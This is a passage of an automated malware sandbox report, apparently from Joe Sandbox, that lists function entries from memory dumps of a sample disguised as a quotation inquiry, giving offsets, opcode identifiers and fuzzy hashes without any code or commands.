Instruction ID: 75b7dd9ac9706f6c9e3eb95d4a8c3e50d23171c9c785147e539961a7265dd3a0
Opcode Fuzzy Hash: d8787fd18d9cf788b9b00947c8745f87d66ac3f260316f115773c28d3359eece
Instruction Fuzzy Hash: 222104B2504244DFDB15EF54E9C4B2ABBA5FB84318F24C569E9090B656C33AD807CBB2

Function 062D0D7D Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314165287.00000000062D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 062D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_62d0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bdf02b90baf7dd14804518ee224616a1f1f53fe548d711369b4bbf9b447a25d1
Instruction ID: 2afc637abc13d6a6d54beff22ba163bd45142ffbfcef03a5188202d4cd7a1889
Opcode Fuzzy Hash: bdf02b90baf7dd14804518ee224616a1f1f53fe548d711369b4bbf9b447a25d1
Instruction Fuzzy Hash: 1031B130D1424ACFDB54CFA9D9086EEBBB1EF44301F10806AC812A7291C7385941CF81

Function 064804F0 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee718a5d402c6136e631e3d21bdb4e0ea48a5c2d1111fadb9cd76a8fe535b299
Instruction ID: f5806a1a336e26ac071a2f27675db2334c053ada303b9c35ee368d68cbf0eccd
Opcode Fuzzy Hash: ee718a5d402c6136e631e3d21bdb4e0ea48a5c2d1111fadb9cd76a8fe535b299
Instruction Fuzzy Hash: 7721DE706103059FD754EB68E8487AFBBEAEB88720F408539E10BD7245DFB16D458BE1

Function 0138085A Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6e4e5a3b4083d43a797e4bcee767858dd7119963f3f17d0da6b868bfae5fafe
Instruction ID: 2e045d4d7ed290ca3fa50f861181da455d5dc772e4c31c3aca0c6019f6363afe
Opcode Fuzzy Hash: b6e4e5a3b4083d43a797e4bcee767858dd7119963f3f17d0da6b868bfae5fafe
Instruction Fuzzy Hash: 1511D3357043144FEB29AB38C81462A3BE6AF8B75870940E9E946CB375EE22DC068781

Function 06488E18 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32f6670743e953b63c1be21c07dff5f0dcabaf942130c755b4a193e863573d48
Instruction ID: b637f03aa273e28bc9aa2b1823222884833a3d718f6d34ea9bffc821ea3b5b06
Opcode Fuzzy Hash: 32f6670743e953b63c1be21c07dff5f0dcabaf942130c755b4a193e863573d48
Instruction Fuzzy Hash: 0E21F575A002098FDB45EF54D944AEEB7F2FB88301F6045A6E505AB3A1C771AD41CFA0

Function 0138F278 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5579ac707854ba56f8aa270eb7f314d616b89f6c9dae9049fbfb37aa3d98a768
Instruction ID: 3accc0df2e88d5d5919b6755e481391414142f969d024f5b46e52359ee580570
Opcode Fuzzy Hash: 5579ac707854ba56f8aa270eb7f314d616b89f6c9dae9049fbfb37aa3d98a768
Instruction Fuzzy Hash: 3F212979D04319CBDB04EFA9D5486EEBBBAFB89319F10942AC505B3340D7741A44CFA1

Function 065B73F8 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ff256710d59a10ea3e98cc6032f95039fadca81b621d8e7c274ad023320b088
Instruction ID: 5f1ed001fa882b512d93d804d0b1608e5737660f3e2d1ec24aead22deae57911
Opcode Fuzzy Hash: 3ff256710d59a10ea3e98cc6032f95039fadca81b621d8e7c274ad023320b088
Instruction Fuzzy Hash: F7213970E04209DFDB94DFA9D0406AEBBF5FB88302F14D5A9D458A7340DB399981CF90

Function 0648F6B0 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ca83e022d220980f2dc6a74bafa1febe5fcbb87fbebb6c80c9cc36b47dd541b
Instruction ID: 47df90aaea760aa286d08d63277039641bc0dd4aaf25827996019c2b1c804c62
Opcode Fuzzy Hash: 9ca83e022d220980f2dc6a74bafa1febe5fcbb87fbebb6c80c9cc36b47dd541b
Instruction Fuzzy Hash: 1421CD34B002048FCB55EF28D9889AEBBF6EFC9300F14417AE4029B361CB34AD09CB60

Function 065601D9 Relevance: .1, Instructions: 67COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34cad1cbe149e9cb97284a410ba0fd21c961a41ae1e0c8abe6be1129e127a63b
Instruction ID: ec07edde93577185a2dff4d28b4efa8e2cc6fd9955ba8ee93a523118422bfe43
Opcode Fuzzy Hash: 34cad1cbe149e9cb97284a410ba0fd21c961a41ae1e0c8abe6be1129e127a63b
Instruction Fuzzy Hash: 8E111935809248FFCB52DFA5DD01EAEBF79EB8A300F00859AF80557251C6325A65EBA1

Function 01389DE8 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8479477148f9e3b1f941b87c037ad65034569a523a2d621cebade7b7bf3a954
Instruction ID: 179e4aa9bf9d26d45e29a83c1660d9ce72ebe9cab66293f615bdbc722156c8f8
Opcode Fuzzy Hash: f8479477148f9e3b1f941b87c037ad65034569a523a2d621cebade7b7bf3a954
Instruction Fuzzy Hash: 55210271D04209DFDB15DFA9D844AEEBBBAEF89308F04906AE508A7250D7346A45CBA0

Function 0138F392 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9a0458e4e3ac7df47452673cfa9078556bccefe9a6f99338f1b63acec89f5844
Instruction ID: 784313c334aaff426852dd665b501cadf830734ac72f73cad078e6c9ca3378c2
Opcode Fuzzy Hash: 9a0458e4e3ac7df47452673cfa9078556bccefe9a6f99338f1b63acec89f5844
Instruction Fuzzy Hash: E4213BB9D01319DFDB00EFA9E5486EEBBBAFB89308F104466D605B3240DB754A44CFA1

Function 067A9F10 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315669022.0000000006790000.00000040.00000800.00020000.00000000.sdmp, Offset: 06790000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6790000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22bae2c33b83061b6c40b2f171b7114a55172643f8807204a3c4443fb9e1f3ab
Instruction ID: 4910e91d026a4fde7fa417468011fcaba72204ec0c083bcd27b72531e0d8734b
Opcode Fuzzy Hash: 22bae2c33b83061b6c40b2f171b7114a55172643f8807204a3c4443fb9e1f3ab
Instruction Fuzzy Hash: 632115B0D15319CFDB84DFA9C8446BEBBF5FB89304F108A69E615A3250D3749A50CF82

Function 06482389 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73d12831884b2dff47b3249f5e228bbf554735fde4ab317cadaf495ac290f937
Instruction ID: e5e7b0ed41e0a0458d973c7553978f949e891329c4e6f0202f3b8e4aa5dd3b9d
Opcode Fuzzy Hash: 73d12831884b2dff47b3249f5e228bbf554735fde4ab317cadaf495ac290f937
Instruction Fuzzy Hash: B4118835A002198FCB51EF64D880ABF7BA1FB84A55B00856AD942C3325E774DE05CBE0

Function 013809F5 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 639dfe94f9233dc67a6172a89f5925ccddc6606c865d79d17938ee0ba3ccab29
Instruction ID: dc59dc89d3ef672f46924f9bd944090b1f5329334a2d1f9d254d710e6ca38503
Opcode Fuzzy Hash: 639dfe94f9233dc67a6172a89f5925ccddc6606c865d79d17938ee0ba3ccab29
Instruction Fuzzy Hash: 8F116034B002048FDB48EFADC458A6DBBF6BF89714F254469E406EB3A1DEB08C448B81

Function 01389DF8 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c43d68313daf9e5152fb69ebf4a67615ec5655d5dec8686d813be51b0647a2f
Instruction ID: 2ab3fc80ff1390d4bc41b051e9d9fec802ac414dc5c8244f3b44d0c95faff646
Opcode Fuzzy Hash: 3c43d68313daf9e5152fb69ebf4a67615ec5655d5dec8686d813be51b0647a2f
Instruction Fuzzy Hash: BE11E771D04219CBDB14DFA9D8446FEBBBAEBC8318F00902AD519A3250D7746A45CB90

Function 0138D4B8 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4107e74dc35ea0e377ee71f55f958ed3a23cbeedeed3797967402324535217b
Instruction ID: 90a8ead10865d4acb42642cae3158d60c9dce089e8ed5da3adbd3532c9e3fc33
Opcode Fuzzy Hash: c4107e74dc35ea0e377ee71f55f958ed3a23cbeedeed3797967402324535217b
Instruction Fuzzy Hash: 2311A53040A384AFDB52EFB49810A967FB89F42208F1444DBD944EB192CE355E44CB62

Function 0132D02B Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1290447073.000000000132D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0132D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_132d000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 633f671973706fbafc265e8a78a39be7cd23416c3fb565de0cfc706c6b37537b
Instruction ID: f14e828559e64885b387a6f06da66f8e46bd5468e0d87d93cde38aeb691f56ac
Opcode Fuzzy Hash: 633f671973706fbafc265e8a78a39be7cd23416c3fb565de0cfc706c6b37537b
Instruction Fuzzy Hash: 0E11D076504280CFDB12DF54E9C0B16BF71FB84314F28C2AADC490B656C33AD41ACBA2

Function 06481920 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ef3238a262bb889fa5eda90daf5649d191750473c9dd3264b0ac8b127a13747
Instruction ID: 7dca81babc777417002e1f8f2fdf530f76ce748cbc9c1fa48495ea162054f0ae
Opcode Fuzzy Hash: 3ef3238a262bb889fa5eda90daf5649d191750473c9dd3264b0ac8b127a13747
Instruction Fuzzy Hash: 0411C630B10206DFDB94AF6998047AFBBF2AF88610F14813BE955D7380DB70C942CBA0

Function 01389BC0 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bf9ceb2c580756313708ad088fc128a11ad6948c7b6c706e52cf3d7271de081
Instruction ID: 3d35aae5cfa12b02578a7ccf63a55b045c40ba59d15e22bbdff3c44bb55adcc6
Opcode Fuzzy Hash: 2bf9ceb2c580756313708ad088fc128a11ad6948c7b6c706e52cf3d7271de081
Instruction Fuzzy Hash: 74113074909348EFCB51EFA8D844AADBFB8EB89208F0480DAE80897251D7319D04DF51

Function 06481568 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1badf6b71b9429babf2d2869cd5a2dee730b962f775d77cbdac8787d7c0c79f4
Instruction ID: 3d8bde14f93a327872af2781abb6588b3fad23d4803bad97cdd522ee58c01e65
Opcode Fuzzy Hash: 1badf6b71b9429babf2d2869cd5a2dee730b962f775d77cbdac8787d7c0c79f4
Instruction Fuzzy Hash: AA012136340315AFDB109F59EC84F9F77A9EB89721F108067FA15CB291C6B1D9118B50

Function 065B73E8 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a4bc0f468145331bd819871a5dc137fa9c686845a204dabf10e006737016b40
Instruction ID: 09e6507d0cc478356ab2d3eb8953fa0edc387d11fe412dba6fbdf78e4ca36b57
Opcode Fuzzy Hash: 6a4bc0f468145331bd819871a5dc137fa9c686845a204dabf10e006737016b40
Instruction Fuzzy Hash: DF117CB0D09349DFCB94DFB998406EEBFF5BB89301F1495AAD448E2201D7344A44CFA1

Function 06481521 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: caa84238c0f725087c2c188c3436567c651355583de2e779b5053aeae71f887d
Instruction ID: 32385357e50c2f076784860d6aab053cf7c07f7caaf3cef473e428cc052a26a7
Opcode Fuzzy Hash: caa84238c0f725087c2c188c3436567c651355583de2e779b5053aeae71f887d
Instruction Fuzzy Hash: B301F9393553405FC3059F2AEC44CAB7BADEF8662670581ABF516C7321C661CC06CB71

Function 0648FEDA Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d61b65c2e5e49fbb2476d610a79497171ed5a486b8b86629a3c6e3e7cebc6647
Instruction ID: 59c817f899496325d88bc208bcef11223932430768c4d95a6d6e642f042ac7a5
Opcode Fuzzy Hash: d61b65c2e5e49fbb2476d610a79497171ed5a486b8b86629a3c6e3e7cebc6647
Instruction Fuzzy Hash: F60104307003405FD3AAA724C440A7B7BA3AFCA310F04426FE6968B790CB75DC06C790

Function 0648DDE2 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2dc5fb56df2ab9ba6da9e9ac1aeb86efbf383575244f3f8a46547e638d471eb
Instruction ID: 684b6fc6d6a9e3bcf716f140fe15b07bb7eaad2727cc7de0f80ccf39cd7421d8
Opcode Fuzzy Hash: f2dc5fb56df2ab9ba6da9e9ac1aeb86efbf383575244f3f8a46547e638d471eb
Instruction Fuzzy Hash: 8401D23A305614AFC70A9B24D468A6F7B62EFCD721710416AF5068B394CB34DD12CBD1

Function 065B28A9 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6f352d64e5f87f6d3a5347ecba02318cad29a108d7b2f7ff7dd54ad5be87341
Instruction ID: 89d5740108e8f6c76a40a6fa0df59433a56fab2637715d2bc84b6fbd3bb695e5
Opcode Fuzzy Hash: e6f352d64e5f87f6d3a5347ecba02318cad29a108d7b2f7ff7dd54ad5be87341
Instruction Fuzzy Hash: C2019E71905208EFCB81DFA4D841AFEBBF4EF49200F1081EAE858D7251CA359B51DFA1

Function 06480998 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 808879ed766312065ee7b49edc445625c7a24b37770185f276338a75d481555a
Instruction ID: 7300e679ddfe08b8b05e1f7d7625dbfa0ee2b77ca86510b93d6892ead72d2379
Opcode Fuzzy Hash: 808879ed766312065ee7b49edc445625c7a24b37770185f276338a75d481555a
Instruction Fuzzy Hash: 73F02871F0A3116FF3159718A810B6BBBE9EBC9650F144467E5899B352CAA2AC41C3E0

Function 065B9E4D Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315425779.00000000065B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 065B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_65b0000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20cf12c32a8d68b505ccb857f72b4bfc5b3c6918c134e43c795e7d09d26356b0
Instruction ID: 6103c28682613e3608dd5c32c5d3f001c352f433865a309b42e2a0c4cb468f4a
Opcode Fuzzy Hash: 20cf12c32a8d68b505ccb857f72b4bfc5b3c6918c134e43c795e7d09d26356b0
Instruction Fuzzy Hash: 7A219E74A012288FDBA5DF24C894B9DB7F6BB89310F0095EAD409A7250DB309F84CF45

Function 06480407 Relevance: .0, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 36d2cec892aa34f3518fe390da6f80113e77f08c05820197be52d0d44d65837a
Instruction ID: 38a77215f340e6474a3427bdd0ba84bacb51e7648ece857ca1afcf1b53cad99f
Opcode Fuzzy Hash: 36d2cec892aa34f3518fe390da6f80113e77f08c05820197be52d0d44d65837a
Instruction Fuzzy Hash: 6A014930619245AFC312CF34DC506DEBFE4EF46304B5446DDD0C9AB22BD5752A61CB51

Function 01381FD8 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1291100829.0000000001380000.00000040.00000800.00020000.00000000.sdmp, Offset: 01380000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1380000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 051fbf5a26b6ad4e02f7be708ec3c2e23b8f2491a24fede27b898f4b06129a82
Instruction ID: f2c68b72d908694888f2a701d0d89fdfd1d9b3cd84c932296fd1da3f3cc09218
Opcode Fuzzy Hash: 051fbf5a26b6ad4e02f7be708ec3c2e23b8f2491a24fede27b898f4b06129a82
Instruction Fuzzy Hash: 2A01DFB03042108FD719EB7DC814D2B3BFAAF8975475180AEE04ACB372DA21EC02CB51

Function 06560A39 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1315404207.0000000006560000.00000040.00000800.00020000.00000000.sdmp, Offset: 06560000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6560000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 424bbdf373789a1ff0f37a423f694f9f869989db1287791234a507a1ba9feda1
Instruction ID: d53585a4b52e8c4ee5c8cc9718e4cde94fea9be64ef696aad5082c59843404c2
Opcode Fuzzy Hash: 424bbdf373789a1ff0f37a423f694f9f869989db1287791234a507a1ba9feda1
Instruction Fuzzy Hash: A901D670405208EFCB91EFA1D800A9A7BB8FF86204F1054EAE40453191DE325E50CBA1

Function 06481559 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4ac195a4cae4d9504fea7e7f68eb93f044d43bf9e864240a237e2f6fe0effb89
Instruction ID: 9b54b47a3cbed087342a30bf1e83f59d384c7d78b18c7ac62b96d53d35617b4c
Opcode Fuzzy Hash: 4ac195a4cae4d9504fea7e7f68eb93f044d43bf9e864240a237e2f6fe0effb89
Instruction Fuzzy Hash: C1F062353513555F83059F19EC84CAB7BBDEF8A625301416BF516C7321CA61DC05CB61

Function 0648FEE8 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3915652902023cf4fe7f2ea02dd8664af535b66e4364e6576e9ae5d8a4a0bfe4
Instruction ID: a0cfc32dfb693d4ee40ec2331577a6e5b80fa3a88641a3faf93c10582a2f5779
Opcode Fuzzy Hash: 3915652902023cf4fe7f2ea02dd8664af535b66e4364e6576e9ae5d8a4a0bfe4
Instruction Fuzzy Hash: 6F01BC317002009FC3A9AB24C444A2F77A3AFCA360F10862EE6568B790CB75EC42DBC0

Function 0648A029 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7e88a50f39c2e1ee37981de5d18f5ed3dcada4bd59f3617ebc38dad0ebad01fe
Instruction ID: 329a5fbfc2e705760da37f3003893429f5ecce6f38001dc890233ee62b88fe76
Opcode Fuzzy Hash: 7e88a50f39c2e1ee37981de5d18f5ed3dcada4bd59f3617ebc38dad0ebad01fe
Instruction Fuzzy Hash: B8F0287120570A5BC3146B25EC44D8BBB9BDFD5565704C575A15B47212CAA09C41CAE1

Function 0648CF5A Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd5bc3ee01f8d7d97761a66169f354edd6f4eb1fc14040b00834f0b41431016a
Instruction ID: 5ee998826719eb687e03950ee5a460f5c7b91438aaaaa8056891b8214b5c8766
Opcode Fuzzy Hash: fd5bc3ee01f8d7d97761a66169f354edd6f4eb1fc14040b00834f0b41431016a
Instruction Fuzzy Hash: F0F0F9713003096BC711CF11EC80E97B76EEF81610B00CA2AF5568B651DAB0AD48CBB0

Function 0648DB40 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 277b9affa117e7b191eec5691112fb6e480af711e1ae1ca61ee14890e44f03ff
Instruction ID: 1dc32ebc1a471ffb9316bc0f0e3cc9b347843226e1fa4990e40753d56c3c094a
Opcode Fuzzy Hash: 277b9affa117e7b191eec5691112fb6e480af711e1ae1ca61ee14890e44f03ff
Instruction Fuzzy Hash: 3901A939305310DFC702AB35D845C5B7B69EF45621705809BF5518B762CB35DC42DB91

Function 0648A7C1 Relevance: .0, Instructions: 42COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1314694783.0000000006480000.00000040.00000800.00020000.00000000.sdmp, Offset: 06480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6480000_inquiry_qoutation_Europe_Hydraulic Partner, LLC_7638628279_uue.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd560823762e19e61abc45cdb2ca50784e6aee1819d15818364939c10ce19501
